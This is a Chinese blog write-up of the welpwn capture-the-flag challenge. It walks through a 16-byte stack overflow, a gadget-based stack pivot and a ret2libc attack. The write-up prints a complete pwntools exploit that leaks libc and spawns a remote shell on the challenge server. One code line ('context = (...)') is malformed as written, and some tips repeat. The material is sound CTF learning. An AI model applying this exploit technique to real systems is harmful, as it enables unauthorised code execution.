[攻防世界]-welpwn

[攻防世界]-welpwn

一、直接走流程

确定文件位数、开启的保护机制、文件行为,以下为执行结果

checksec

image-20221204165550385

该文件为64位文件,开启不可执行保护,即数据所在的页面为不可执行

./welpwn

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-klB2XiiE-1670240113383)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221204171332657.png)]

分析文件行为,大致了解文件怎么运行

ida查看伪代码
main函数

image-20221204171446249

echo函数

image-20221204172751505

分析伪代码可知:该程序先往buf区读取最大0x400个字节,再从buf区复制到s2中,s2缓冲区为16字节,因此从buf复制到s2有栈溢出漏洞,这里需要注意的是在向s2中读入字节时遇到’\x00’会停止复制,但构造rop链肯定会有’\x00’,故考虑在buf区构造rop链,利用s2栈的ret返回到buf中。

二、分析

gdb动态调试

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JUHs8JcQ-1670240113385)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221204200707680.png)]

根据调试情况(见上)得到如下的栈空间布局

image-20221205084102022

由于复制过程中遇到’\x00’会停止复制,故在s2中不能出现’\x00’,即无法压入地址参数,因此考虑采取栈连续,用buf区布置ROP链,采用gadget片段实现栈连续。因此以下为一种可行的栈布局图:

image-20221205085012672

这里参考(81条消息) 菜鸟做题记--------welpwn(RCTF2015)_@Return的博客-CSDN博客_welpwn中的一张图来说明栈的运行状态:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XhjNNuLk-1670240113386)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221205092912372.png)]

  1. pppp_addr为pop pop pop pop ret指令片段

  2. pop_rdi_addr为pop rdi指令片段

    两个片段查看方式如下:

    ROPgadget --binary welpwn | grep ‘pop’

image-20221205085524704

ida静态调试

在ida中没有找到现成的后门函数,考虑泄露libc,在libc中查找system函数和’/bin/sh’字符串,因此需要发送两次payload。

第一次:payload = b’a’ * 0x18 + p64(pop4_addr) + p64(pop_rdi) + p64(read_got) + p64(put_plt) + p64(main_addr)

​ 返回main函数,用于泄露read真实地址,这里用到了libcsearcher。

第二次:payload = b’a’ * 0x18 +p64(pop4_addr) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)用于执行system(‘bin/sh’)函数

三、构造exp

from pwn import *
from LibcSearcher import *

context = (arch = 'amd64',os = 'linux', log_level = 'debug')
elf = ELF('./welpwn')
p = remote('61.147.171.105', 61954)
read_got = elf.got['read']
put_plt = elf.plt['puts']
main_addr = 0x4007cd #main函数地址,未开启地址随机化,直接ida读取
pop4_addr = 0x40089c  #ROPgadget获取
pop_rdi = 0x4008a3  #ROPgadget获取

payload = b'a' * 0x18 + p64(pop4_addr) + p64(pop_rdi) + p64(read_got) + p64(put_plt) + p64(main_addr) #泄露read函数的真实地址,注意真实地址不等于调用地址
p.recvuntil('to RCTF\n')
p.sendline(payload)

#这里为什么要多接收三个单位?
#打印0x18 * 'a' + ppp_addr(3个字节),先执行printf函数再执行write函数
p.recvuntil('a' * 0x18)
p.recv(3)
read_Addr =  u64(p.recv(6).ljust(8,b"\x00"))
print(hex(read_Addr))

libc = LibcSearcher("read",read_Addr) #推荐手动下载libcsearcher,下载速度快
libc_base = read_Addr - libc.dump('read')  #获取lic共享库加载的基地址。偏移统一用dump
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')

#64位,传参顺序为rdi,rsi,rdx,rcx,r8,r9
payload = b'a' * 0x18 +p64(pop4_addr) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)

p.sendline(payload)
p.interactive()

测试结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UVlUxP8f-1670240113387)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221205193231427.png)]

可见aaaa后面为0x40089三个垃圾字节,为pop4_addr

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wWXA1jy9-1670240113388)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221205193358448.png)]

四、Tips

  1. libcsearcher推荐手动下载,下载速度快。下载链接:LibcSearcher · PyPI

  2. ropgadget有时候得到的gadget地址存在偏差,可以采取ropper工具

  3. exp中可以声明上下文:context = (arch = ‘amd64’,os = ‘linux’, log_level = ‘debug’)

    arch明确为64位架构,os明确操作系统,log_level设置日志的输出等级为debug,方便查看调试信息

  4. 泄漏时优先选择write而不是puts函数,因为puts函数遇到’\x00’就停止打印。(这里仍然用了puts函数)

  5. 为什么接收6字节?64位地址一般都是低六字节为有效字节,ljust左对齐,末尾补’\x00’,实现该六字节设置为低位

  1. 泄漏时优先选择write而不是puts函数,因为puts函数遇到’\x00’就停止打印。(这里仍然用了puts函数)
  1. 为什么接收6字节?64位地址一般都是低六字节为有效字节,ljust左对齐,末尾补’\x00’,实现该六字节设置为低位
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值